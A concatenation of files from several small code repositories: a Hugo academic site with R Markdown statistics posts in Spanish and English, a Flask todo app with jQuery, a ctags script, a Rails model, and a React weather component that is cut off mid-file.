certificate_url = "https://www.coursera.org/account/accomplishments/records/VQVUWN3JLJL5"
date_start = "2017-01-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "R Programming"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/98REVLNWAG28"
date_start = "2017-01-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Getting and Cleaning Data"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/RHVJ75BZVUPR"
date_start = "2017-01-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Getting and Cleaning Data"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/RHVJ75BZVUPR"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Exploratory Data Analysis"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/V3CD55M9247Z"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Statistical Inference"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/NFUFWFNNAZYK"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Statistical Inference"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/NFUFWFNNAZYK"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Regression Models"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/553GUVWS96DP"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Reproducible Research"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/QDMHTXKFMGNZ"
date_start = "2017-03-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Practical Machine Learning"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/TUVKZHLJGNQA"
date_start = "2017-03-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Data Science Capstone"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/N344Z4P7JM8G"
date_start = "2017-07-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Developing Data Products"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/U4EJFXDYVMKJ"
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "The Unix Workbench"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/LTG3PWZZ8C8K"
date_start = "2017-11-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Data Science"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/specialization/73G4QAHN3BE3"
date_start = "2018-01-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Time Series Analysis (16 hours)"
url = ""
certificate_url = ""
date_start = "2016-02-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "First School of Big Data an Statistics (16 hours)"
url = ""
certificate_url = ""
date_start = "2016-05-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Exponent at Statistic's Students Academic Symposium"
url = ""
certificate_url = ""
date_start = "2016-05-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Statistical Programming with R (16 hours)"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Exponent at Statistic's Students Academic Symposium"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "First central american Symposium of Bayesian Statistics (14 hours)"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "First Latin American School of Bayesian Statictics (24 horas)"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
+++
<file_sep>/content/es/post/2019-06-23-exploración-de-datos-categóricos-con-el-paquete-inspectdf.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Análisis exploratorio de datos categóricos"
subtitle: "El paquete inspectdf como herramienta de análisis descriptivo"
summary: "Este post presenta el paquete inspectdf como herramienta para el análisis exploratorio de datos categóricos"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Análisis exploratorio", "Descripivos", "Datos categóricos"]
categories: ["Análisis exploratorio"]
date: 2019-06-23T13:42:09-06:00
lastmod: 2019-06-23T13:42:09-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: true
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
Es muy común en el día a día encontrarse con bases de datos que cuentan con diferentes tipos de variables, ya sean numéricas, temporales, de texto o categóricas. Estas últimas son el tema de discusión de este post. El paquete [inspectdf](https://github.com/alastairrushworth/inspectdf) ofrece un conjunto de funciones que resultan particularmente útiles cuando lo que se busca es explorar el comportamiento de este tipo de variables.
El primer paso es tener debidamente instalado el paquete `inspectdf`.
```{r, eval=FALSE}
library(devtools)
install_github("alastairrushworth/inspectdf")
```
Una vez instalado es necesario cargarlo, así como cargar también el paquete `dplyr`, especialmente para poder usar el operador `%>%`.
```{r, warning=FALSE, message=FALSE, results='hide'}
library(inspectdf)
library(dplyr)
```
Para este ejemplo se utilizará la base de datos `starwars`, la cual viene incluida en el paquete `dplyr` y que cuenta con datos de varios personajes de este universo cinematográfico.
```{r}
starwars %>%
head()
```
### Análisis exploratorio de manera tabular
EL paquete `inspectdf` permite calcular algunos estadísticos descriptivos rápidamente para cualquier tipo de variable mediante la función `inspect_types()`.
```{r}
starwars %>%
inspect_types()
```
El resultado anterior muestra que hay 7 variables de tipo `character`, lo cual representa el 53.84% de la base de datos. Además, hay dos variables de tipo numérico, que representa un 15.38% del total. Lo anterior es útil para un primer vistazo, pero resulta interesante ir un poco más allá y describir más en detalle todas las variables. Para esto puede usarse la función `inspect_cat()`.
```{r}
starwars %>%
inspect_cat()
```
La función `inspect_cat()` muestra en la primera columna el nombre de la variable, en la segunda la cantidad de valores únicos que contiene, es decir, la variable *eye_color* tiene 15 niveles diferentes, o lo que es lo mismo, hay 15 colores e ojos diferentes en la base de datos. La tercera columna muestra el valor más común que aparece en la variable, por ejemplo, la especie más común que aparece en la base de datos son los humanos. La cuarta columna indica el porcentaje que representa el nivel más común, por ejemplo, los ojos color café representan el 24.13% de todos los colores presentes en los datos. ¿Y qué representa la quinta columna? Pues es una lista con las proporciones de cada nivel de la variable. Para ejemplificar esto último, se asignará al objeto *df* el resultado anterior.
```{r}
df <- starwars %>%
inspect_cat()
df$levels$eye_color
```
La tabla anterior muestra la proporción de cada color de ojos. Esto mismo se aplica a cualquiera de las otras variables.
### Análisis exploratorio de manera gráfica
En algunas ocasiones los valores numéricos no sean tan claros ni fáciles de interpretar, ya sea por a cantidad de datos o bien por cuestiones de comodidad. El paquete `inspectdf` también permite hacer análisis exploratorio de manera gráfica
```{r}
df %>%
show_plot()
```
Este resultado contiene la misma información que el objeto `df`, pero ahora es más fácil, rápido e incluso agradable para interpretar. Sin embargo, este resultado puede mejorar, pues por ejemplo la variable *name* no sirve de mucho en el gráfico porque todos los nombres son diferentes. Esto se puede solucionar modificando el argumento `high_cardinality`, lo cual hace que únicamente se grafiquen todas aquellas categorías que aparezcan un determinado número de veces, digamos cuatro.
```{r}
df %>%
show_plot(high_cardinality = 4)
```
Finalmente, si los colores no resultan del todo agradables, pueden manipularse a voluntad mediante las 5 paletas de colores que ofrece el paquete y que e el futuro serán más, basta modificar el argumento `col_palette` con los números entre uno y cinco para lograr esto.
```{r}
df %>%
show_plot(high_cardinality = 4, col_palette = 4)
df %>%
show_plot(high_cardinality = 4, col_palette = 5)
```
<file_sep>/content/es/home/skills.md
+++
# A Skills section created with the Featurette widget.
widget = "featurette" # See https://sourcethemes.com/academic/docs/page-builder/
headless = true # This file represents a page section.
active = true # Activate this widget? true/false
weight = 30 # Order that this section will appear.
title = "Habilidades"
subtitle = ""
# Showcase personal skills or business features.
#
# Add/remove as many `[[feature]]` blocks below as you like.
#
# For available icons, see: https://sourcethemes.com/academic/docs/widgets/#icons
[[feature]]
icon = "r-project"
icon_pack = "fab"
name = "R"
description = "(esta página web fue creada desde RStudio)"
[[feature]]
icon = "python"
icon_pack = "fab"
name = "Python"
description = ""
[[feature]]
icon = "github"
icon_pack = "fab"
name = "git"
description = ""
[[feature]]
icon = "chart-area"
icon_pack = "fas"
name = "Análisis descriptivos"
description = "Cuadros y gráficos estadísticos"
[[feature]]
icon = "clone"
icon_pack = "fas"
name = "Diseño de encuestas"
description = "Diseño, tabulación y revisión"
[[feature]]
icon = "database"
icon_pack = "fas"
name = "Bases de datos"
description = "Creación y depuración"
[[feature]]
icon = "chart-line"
icon_pack = "fas"
name = "Pronósticos"
description = "Series de tiempo, modelos de regresión y clasificación"
[[feature]]
icon = "columns"
icon_pack = "fas"
name = "Análisis multivariado"
description = "Reducción de dimensiones y agrupamientos"
[[feature]]
icon = "users"
icon_pack = "fas"
name = "Minería de datos"
description = "Análisis de sentimientos y minería de texto"
+++
<file_sep>/README.md
# Website
Sitio web profesional
<file_sep>/Varios/Cotizaciones/Función de precios.Rmd
```{r}
precios <- function(costo_hora=30000, horas,
producto=c("diseño experimental", "diseño de cuestionario", "tamaño de muestra",
"revisión metodológica", "Análisis de datos", "SEM", "CFA", "Regresión",
"interpretación de resultados", "consultoría",
"programación en R", "capacitación en R"),
impuesto=13, margen=10){
#Precios de referencia: http://www.statswork.com/statistical-services-price/
lista <- list(130, 140, 100,
110, 125, 200, 150, 125,
140, 100,
120, 110, 115)
names(lista) <- c("diseño experimental", "diseño de cuestionario", "tamaño de muestra",
"revisión metodológica", "Análisis de datos", "SEM", "CFA", "Regresión",
"interpretación de resultados", "consultoría",
"programación en R", "capacitación en R", "Creación de bases de datos")
lista <- lapply(lista, function(x){x/100})
precio <- costo_hora*lista[[producto]]
c(`Precio sin margen`=precio*horas,
`Precio con margen`=precio*(1+margen/100)*horas,
`Precio sin margen con IVA`=precio*horas*(1+impuesto/100),
`Precio con margen con IVA`=precio*(1+margen/100)*(1+impuesto/100)*horas)
}
precios(horas = 10, producto = "Creación de bases de datos")
```
<file_sep>/content/en/home/experience.md
+++
# Experience widget.
widget = "experience" # See https://sourcethemes.com/academic/docs/page-builder/
headless = true # This file represents a page section.
active = true # Activate this widget? true/false
weight = 40 # Order that this section will appear.
title = "Experience"
subtitle = ""
# Date format for experience
# Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "Jan 2006"
# Experiences.
# Add/remove as many `[[experience]]` blocks below as you like.
# Required fields are `title`, `company`, and `date_start`.
# Leave `date_end` empty if it's your current employer.
# Begin/end multi-line descriptions with 3 quotes `"""`.
[[experience]]
title = "Demographic analysis professional"
company = "National Institute of Statistics and Census"
company_url = "http://www.inec.go.cr/"
location = "San José, Costa Rica"
date_start = "2018-02-16"
date_end = ""
description = """
* Population projections
* Automation of processes and debugging of databases
* Migration of processes in SPSS to the R language
"""
[[experience]]
title = "Professor"
company = "University of Costa Rica"
company_url = "http://www.ucr.ac.cr/"
location = "San José, Costa Rica"
date_start = "2018-05-16"
date_end = ""
description = """
* R Programming
* Probability and Statistics I
"""
[[experience]]
title = "Customer satisfaction analyst"
company = "Supreme Court of Justice of Costa Rica"
company_url = "https://contraloria.poder-judicial.go.cr/"
location = "San José, Costa Rica"
date_start = "2016-02-01"
date_end = "2016-12-17"
description = """
* Quality Service Perception Survey Design
* Interviewer training
"""
[[experience]]
title = "Teaching and research assistant"
company = "University of Costa Rica"
company_url = "https://ucr.ac.cr/"
location = "San José, Costa Rica"
date_start = "2013-05-02"
date_end = "2016-11-17"
description = """
* INISA: Nutrition and Parasitic Situation on Costarrican Children (2016-2017)
* Public Politics and immigration interrelationships (2015)
* Statistics for Social Sciences (2014 – 2016)
* Introduction to Statistics (2014 – 2016)
* Probability and Statistical Inference (2013 – 2014)
"""
+++
<file_sep>/content/en/post/2019-07-31-tapply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Apply family functions - Part 2"
subtitle: "The tapply() function"
summary: "The tapply function in data analysis."
authors: ["<NAME>"]
tags: ["R", "RStudio", "apply family functions", "tapply"]
categories: ["R basics"]
date: 2020-09-29T18:55:57-06:00
lastmod: 2020-09-29T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
In this second part of the post series on the apply family of functions, it is the `tapply()` function. Unlike the `apply ()` function discussed in the first post, the `tapply()` function is often used to apply a function to subsets of a vector. Usually, when working with databases, there are variables of different nature, some can be numerical, others categorical, the idea of `tapply()` is to obtain summaries of a vector but being grouped concerning other vectors (variables).
On this occasion, we will use the starwars database seen in the post on the `inspectdf` package again.
```{r, echo=FALSE, message=FALSE, warning=FALSE, results='hide'}
base <- read.csv("C:\\Users\\Dell\\OneDrive\\Academico\\Proyectos\\GitHub\\Website\\content\\es\\post\\referencias\\heroes_information.csv")[,-1]
library(DT)
library(dplyr)
library(inspectdf)
```
If we need to know the average height of the characters, execute the following command.
```{r}
mean(starwars$height, na.rm = TRUE)
```
However, it is more valuable to obtain the average height according to another variable of interest that allows us to make some comparison, such as gender. For this, we can use the `tapply()` function.
```{r}
tapply(X=starwars$height,
INDEX=starwars$gender,
FUN=mean)
```
The *NA* that appear are due to missing values within the database, so the `mean()` function does not calculate the average correctly unless an imputation of these missing values is made or indicated that the `mean()` function must omit the missing values using the argument `na.rm = TRUE`. In most of the `apply` family functions, the arguments that belong to the function being applied (in this case `mean() `) must go after the ` FUN` argument.
```{r}
tapply(X=starwars$height,
INDEX=starwars$gender,
FUN=mean,
na.rm=TRUE)
```
The `tapply()` function is not limited to a single grouping variable. The same "dimensions" concept that we discuss in the `apply ()` function can be used to `tapply()`, but this time the grouping variables must be specified within a list. As an example, suppose we are interested in the average height according to gender and eye color.
```{r}
tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender),
FUN=mean,
na.rm=TRUE)
```
We can add more grouping variables, but all of them must be within the list. For example, it is possible to grouping also by the skin color, although in this case, the result would show many missing values because not all combinations exist. That is a demonstration that each time we grouping variables, these groupings should make sense; otherwise, the analysis will not be useful.
```{r}
tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender, starwars$skin_color),
FUN=mean,
na.rm=TRUE)
```
|
4ebb2deb9b6a58dced55e5d78f2d606f1d2df964
|
[
"RMarkdown",
"Markdown",
"TeX",
"HTML"
] | 33 |
RMarkdown
|
cgamboasanabria/Website
|
811c9060fc8475d86f4dc9d196657d3a4004575d
|
378cef55d40ae3902874835bb061da4a2cfd6149
|
refs/heads/master
|
<repo_name>GabrielMedlin/hello-world<file_sep>/README.md
# hello-world
I like to play video games like Terraria, Team Fortress 2, and Super Smash Bros. Ultimate. I also enjoy watching Netflix and YouTube videos.
|
4d262333eaad75bc3488cdee5b1923b0737b8543
|
[
"Markdown"
] | 1 |
Markdown
|
GabrielMedlin/hello-world
|
0e522d904fa97e718e11a259a1ede0cd5ffab342
|
19251e6e7f62167cfcca4945e9d04142f9dabc6c
|
refs/heads/master
|
<file_sep>class Location < ActiveRecord::Base
attr_accessible :description, :lat, :lon, :title, :user_id
belongs_to :user
has_many :photos
accepts_nested_attributes_for :photos
end
<file_sep>photocation
===========
|
f665939046026a9ea0d31f75991f857a894de37e
|
[
"Markdown",
"Ruby"
] | 2 |
Markdown
|
elorest/photocation
|
eaf49f17b6cc122a04f58a57ac1056b3efa417f7
|
5014147fd96bf5262aaf1b4fc88a920b1be72444
|
refs/heads/master
|
<repo_name>vvojciech/vim-IDE<file_sep>/fttags/ruby.sh
#!/bin/sh
##
# The output filename comes as $1
#
# IMPORTANT: Redirects the usual warnings and errors to /dev/null
# and avoid all kind of verbosity. Any output will cause errors when
# executing this file through Vim. Debug separately.
#
# REPLACE FILETYPENAME FOR YOUR FILETYPE.
#
# * Supported ctags filetypes
# @see ctags --list-languages
#
# * FILETYPENAME-kinds values depends on the language
# @see ctags --list-kinds
#
# * FILETYPENAME-regex Is optional
##
ctags \
-f $1 \
-R \
--languages=ruby \
--exclude=.git \
--exclude=log \
--totals=no \
--verbose=no \
# --tag-relative=yes \
# --RUBY-kinds=+cfmF \
$(bundle list --paths) 2> /dev/null
|
c59089893a19c9327811891243604733aaa9225a
|
[
"Shell"
] | 1 |
Shell
|
vvojciech/vim-IDE
|
286e327e5b3638648b0f659b60b104bb7d081e46
|
83fae718c5530a6e26e3cac463686734cc50dd24
|
refs/heads/master
|
<repo_name>Apap-2018/tutorial2_1606877585<file_sep>/src/main/java/com/example/demo/Util/Util.java
package com.example.demo.Util;
/**
* Util used for utilities that support other function
*/
public class Util {
/**
* This method used for return a string which is a repetition of num times
* @param num
* @param words
* @return
*/
public static String generateStringTimes(int num, String words){
String res ;
StringBuilder stringBuilder = new StringBuilder();
for (int x = 0 ; x < num ; x++){
stringBuilder.append(words);
}
res = stringBuilder.toString();
return res;
}
}
<file_sep>/src/main/java/com/example/demo/controller/PageController.java
package com.example.demo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import java.util.Optional;
import com.example.demo.Util.Util;
/**
* Page controller used as a controller for the page
*/
@Controller
public class PageController {
/**
* Method that handling the mapping for /viral
* Return viral.html
* @return
*/
@RequestMapping("/viral")
public String index(){
return "viral";
}
/**
* Method that handling the mapping for /challenge
* Require param name that will be used in html
* Returning challenge.html , the param name also will be parse in html
* @return
*/
@RequestMapping("/challenge")
public String challenge(@RequestParam(value = "name")String name , Model model){
model.addAttribute("name", name);
return "challenge";
}
/**
* Method that handling the mapping for /challenge or /challenge/[certain String]
* If [certain string] is present that name will be use in the html
* Otherwise the name will be "KB"
* Return challenge.html
* @return
*/
@RequestMapping(value = {"challenge","challenge/{name}"})
public String challengePath(@PathVariable Optional<String> name, Model model){
if (name.isPresent()){
model.addAttribute("name",name.get());
}
else {
model.addAttribute("name","KB");
}
return "challenge";
}
/**
* Method that handling the mapping for /generator
* Asking two parameter for a and b which is the value of our text
* a representing how many letter m in the text
* b representing how many text will be presented in the html
* If one or both parameter is absent , the default value will be 0 and only one
* letter each null value of the parameter will be presented
* If the input is a string that can't converted to Integer then 0 default value
* will be used.
* Returning generator.html
* @return
*/
@RequestMapping("/generator")
public String generator(@RequestParam(value = "a",required = false) String a,@RequestParam(value = "b",required = false) String b,Model model){
if (a==null)
a="0";
if (b==null)
b="0";
int aNum = 0,bNum = 0;
try {
aNum = Integer.parseInt(a);
bNum = Integer.parseInt(b);
}catch (NumberFormatException e){
a= "0" ;
b = "0";
}
String res ;
String m = "m";
if (aNum>0){
m = Util.generateStringTimes(aNum,m);
}
res = "h"+m;
if (bNum>0){
res = Util.generateStringTimes(bNum,res+ " ");
}
model.addAttribute("a",a);
model.addAttribute("b",b);
model.addAttribute("res",res);
return "generator";
}
}
|
154838dc411a0eb5b6dd4578c633f0dc27d27143
|
[
"Java"
] | 2 |
Java
|
Apap-2018/tutorial2_1606877585
|
13e808eb0fe2af2994b7114a95d0d72fd172edb4
|
fb49dbc4e510992353b3f58d3218565427bade12
|
refs/heads/master
|
<repo_name>BUTMAN/TODO<file_sep>/main.py
from flask import Flask
from todo import main as todo_routes
from api import main as api_routes
app = Flask(__name__)
app.secret_key = 'random string'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.register_blueprint(todo_routes)
app.register_blueprint(api_routes, url_prefix='/api')
if __name__ == '__main__':
config = dict(
debug=True,
host='0.0.0.0',
port=2000,
)
app.run(**config)
<file_sep>/static/js/todo.js
var log = function() {
console.log(arguments)
}
var todoTemplate = function(todo) {
var w = todo
var t = `
<div class="todo-cell">
<div>
<!--<div>Todo-id: ${ w.id }</div>-->
<div class="pure-u-1-3 fl">${ w.created_time }</div>
<div class="complete todo-content pure-u-1-3">${ w.task }</div>
<div class="pure-u-1-3 fr">
<button class="todo-delete de pure-button pa" data-id="${ w.id }">Delete</button>
<button class="todo-edit ed pure-button pa" data-id="${ w.id }">Edit</button>
<button class="todo-complete pure-button pa" data-id="${ w.id }">Complete</button>
</div>
</div>
<div class="xqgl hide pure-form">
<input class="profile-uuru" id="id-edit-todo" type="text" placeholder="edit todo" value="${ w.task }" style="padding: 3px 6px;">
<!--<br>-->
<button class="todo-update pure-button pa" data-id="${ w.id }">更改</button>
</div>
</div>
`
return t
}
var bindEventTodoAdd = function() {
$('#id-button-todo-add').on('click', function(){
var todo = $('#id-input-todo').val()
var com = $('#id-input-todo-com').val()
var form = {
task: todo,
com: com,
}
console.log('todo-form', todo, '11', form, '22')
var response = function(r) {
console.log('成功', arguments)
log(r)
if(r.success) {
var w = r.data
var a = $('.todo-container')
console.log('456', w, '11', a, '22')
$('.todo-container').append(todoTemplate(w))
$('#id-input-todo').val('')
console.log('123', a)
alertify.success('添加成功');
} else {
alertify.error(r.message);
// alert(r.message)
}
}
api.todoAdd(form, response)
})
}
var bindEventTodoDelete = function() {
$('body').on('click', '.todo-delete', function(){
var todoId = $(this).data('id')
var todoCell = $(this).closest('.todo-cell')
var response = function(r) {
if(r.success) {
console.log('成功123', arguments)
$(todoCell).slideUp()
} else {
console.log('错误', arguments)
alertify.error('删除失败');
}
}
api.todoDelete(todoId, response)
})
}
var bindEventTodoEdit = function() {
$('body').on('click', '.todo-edit', function(){
var button = $(this)
var todoId = $(this).data('id')
var todoCell = button.closest('.todo-cell')
var uurukd = todoCell.find('.xqgl')
uurukd.slideToggle()
})
}
var bindEventTodoUpdate = function() {
$('body').on('click', '.todo-update', function(){
var button = $(this)
var todoId = $(this).data('id')
var todoCell = button.closest('.todo-cell')
var todoNew = todoCell.find('#id-edit-todo').val()
var todoContent = todoCell.find('.todo-content').text( todoNew )
var xqgl = todoCell.find('.xqgl')
var form = {
task: todoNew,
}
console.log('form-new-todo', form)
var response = function(r) {
if(r.success) {
console.log('456')
var w = r.data
var a = $('.todo-container')
console.log('123', a)
alertify.success('修改成功');
// alert("修改成功")
$(xqgl).slideUp()
} else {
// 失败,弹出提示
alertify.error(r.message);
// alert(r.message)
}
}
api.todoUpdate(todoId, form, response)
})
}
var bindEventTodoComplete = function() {
$('body').on('click', '.todo-complete', function(){
var button = $(this)
var todoId = $(this).data('id')
var todoCell = button.closest('.todo-cell')
var Mask = todoCell.find('.complete')
var Edit = todoCell.find('.ed')
var Delete = todoCell.find('.de')
if(Mask.hasClass('line')){
Mask.removeClass('line')
Edit.removeClass('pure-button-disabled')
Delete.removeClass('pure-button-disabled')
Edit.addClass('todo-edit')
Delete.addClass('todo-delete')
button.text( 'Complete' )
}
else{
Mask.addClass('line')
Edit.addClass('pure-button-disabled')
Delete.addClass('pure-button-disabled')
Edit.removeClass('todo-edit')
Delete.removeClass('todo-delete')
button.text( 'Refresh ' )
}
var response = function(r) {
if(r.success) {
console.log('成功123', arguments)
// alert("11成功")
} else {
console.log('错误', arguments)
alert("22失败")
}
}
api.todoComplete(todoId, response)
})
}
var bindEvents = function() {
bindEventTodoAdd()
bindEventTodoDelete()
bindEventTodoEdit()
bindEventTodoUpdate()
bindEventTodoComplete()
}
$(document).ready(function(){
bindEvents()
})
<file_sep>/static/js/api.js
var api = {}
api.ajax = function(url, method, form, callback) {
var request = {
url: url,
type: method,
data: form,
success: function(response){
var r = JSON.parse(response)
callback(r)
},
error: function(err){
var r = {
'success': false,
message: '网络错误'
}
callback(r)
}
}
console.log('123456', request, '123')
$.ajax(request)
}
api.get = function(url, response) {
api.ajax(url, 'get', {}, response)
}
api.post = function(url, form, response) {
api.ajax(url, 'post', form, response)
}
api.todoAdd = function(form, response) {
var url = '/api/todo/add'
api.post(url, form, response)
}
api.todoUpdate = function(weiboId, form, response) {
var url = '/api/todo/update/' + weiboId
api.post(url, form, response)
console.log('url', url)
}
api.todoDelete = function(weiboId, response) {
var url = '/api/todo/delete/' + weiboId
var form = {}
api.get(url, response)
}
api.todoComplete = function(weiboId, response) {
var url = '/api/todo/complete/' + weiboId
var form = {}
api.get(url, response)
}<file_sep>/todo.py
from flask import render_template
from flask import Blueprint
from models import Todo
main = Blueprint('todo', __name__)
@main.route('/')
def index():
todo_list = Todo.query.all()
print('todo_list', todo_list)
return render_template('todo_index.html', todos=todo_list)
#
# @main.route('/add', methods=['POST'])
# def add():
# form = request.form
# t = Todo(form)
# print('123', form, t.task)
# if t.valid():
# t.save()
# print('234', t)
# else:
# abort(400)
# return redirect(url_for('.index'))
#
#
# @main.route('/delete/<int:todo_id>')
# def delete(todo_id):
# t = Todo.query.get(todo_id)
# t.delete()
# return redirect(url_for('.index'))
#
#
# @main.route('/edit/<int:todo_id>')
# def edit(todo_id):
# t = Todo.query.get(todo_id)
# return render_template('todo_edit.html', todo=t, todo_id=todo_id)
#
#
# @main.route('/update/<int:todo_id>', methods=['POST'])
# def update(todo_id):
# form = request.form
# t = Todo.query.get(todo_id)
# n = Todo(form)
# if n.valid():
# t.task = n.task
# t.save()
# else:
# abort(400)
# return redirect(url_for('.index'))
<file_sep>/api.py
from flask import request
from flask import Blueprint
import json
from models import Todo
main = Blueprint('api', __name__)
@main.route('/todo/add', methods=['POST'])
def add():
form = request.form
print('ff', form)
t = Todo(form)
# t.com = '0'
print('form', t)
r = {
'data': []
}
if t.valid():
t.save()
r['success'] = True
r['data'] = t.json()
else:
print('12333')
r['success'] = False
r['message'] = '错了'
return json.dumps(r, ensure_ascii=False)
@main.route('/todo/delete/<int:todo_id>', methods=['GET'])
def delete(todo_id):
w = Todo.query.get(todo_id)
w.delete()
r = {
'success': True,
'data': w.json(),
}
return json.dumps(r, ensure_ascii=False)
@main.route('/todo/update/<int:todo_id>', methods=['POST'])
def update(todo_id):
form = request.form
w = Todo.query.get(todo_id)
t = Todo(form)
r = {
'data': []
}
if t.valid():
w.task = t.task
w.save()
r['success'] = True
r['data'] = t.json()
print('3344')
else:
r['success'] = False
message = t.error_message()
r['message'] = message
print('4455')
return json.dumps(r, ensure_ascii=False)
@main.route('/todo/complete/<int:todo_id>', methods=['GET'])
def complete(todo_id):
w = Todo.query.get(todo_id)
w.complete()
print('w.com', w.com, '22')
w.save()
r = {
'success': True,
'data': w.json(),
}
return json.dumps(r, ensure_ascii=False)
|
01982e548a519d5eaa0e4005bc2cdb3ae7164f40
|
[
"JavaScript",
"Python"
] | 5 |
JavaScript
|
BUTMAN/TODO
|
d93ea0547067ea803a5fb6aeec21f0e99a76fe75
|
7e99d532c243b8eb7d7005ac1dfbd1e9cceaaaac
|
refs/heads/master
|
<repo_name>GomatoX/weather-app<file_sep>/src/app/components/Header/index.scss
header {
display: flex;
justify-content: space-between;
text-align: center;
min-height: 100px;
background-color: #6491b6;
ul {
display: flex;
list-style: none;
align-items: center;
width: 100vw;
justify-content: center;
li {
margin: 0 20px 0 20px;
font-size: 20px;
color: rgb(255, 255, 255);
a {
text-decoration: none;
transition: color 0.2s linear;
color: rgb(255, 255, 255);
font-weight: bold;
position: relative;
padding-bottom: 5px;
&.active {
&::after {
width: 100%;
}
}
}
a:after {
content: "";
position: absolute;
bottom: 0;
left: 0;
width: 0;
border-bottom: 4px solid rgb(255, 255, 255);
transition: 0.4s;
}
a:hover:after {
width: 100%;
}
}
}
}
@media screen and (min-width: 450px) and (max-width: 1025px) {
header {
min-height: 150px;
a {
font-size: 30px;
margin: 0 50px 0 50px;
}
}
}
@media screen and (min-width: 1025px) {
header {
min-height: 100px;
a {
font-size: 25px;
margin: 0 100px 0 100px;
}
}
}
<file_sep>/src/app/components/City/index.js
import React from "react";
import PropTypes from "prop-types";
import "./index.scss";
function CityCard({
name,
code,
title,
icon,
temperature,
toggleFavorite,
isFavorite
}) {
let iconImg = "";
let tempImg = temperature ? temperature + "°C" : "―";
if (icon !== undefined) {
iconImg = (
<img
className="icon--class"
src={`http://openweathermap.org/img/wn/${icon}@2x.png`}
alt="weather"
/>
);
} else {
iconImg = "―";
}
return (
<div className="cityCard">
<p>{title}</p>
<p className="icon">{iconImg}</p>
<p>{tempImg}</p>
<p>
<button
type="button"
className="cityCard--favorite"
onClick={() => toggleFavorite(name, code)}
>
{isFavorite ? "❌ " : "❤️"}
</button>
</p>
</div>
);
}
CityCard.propTypes = {
code: PropTypes.string,
title: PropTypes.string.isRequired,
name: PropTypes.string.isRequired,
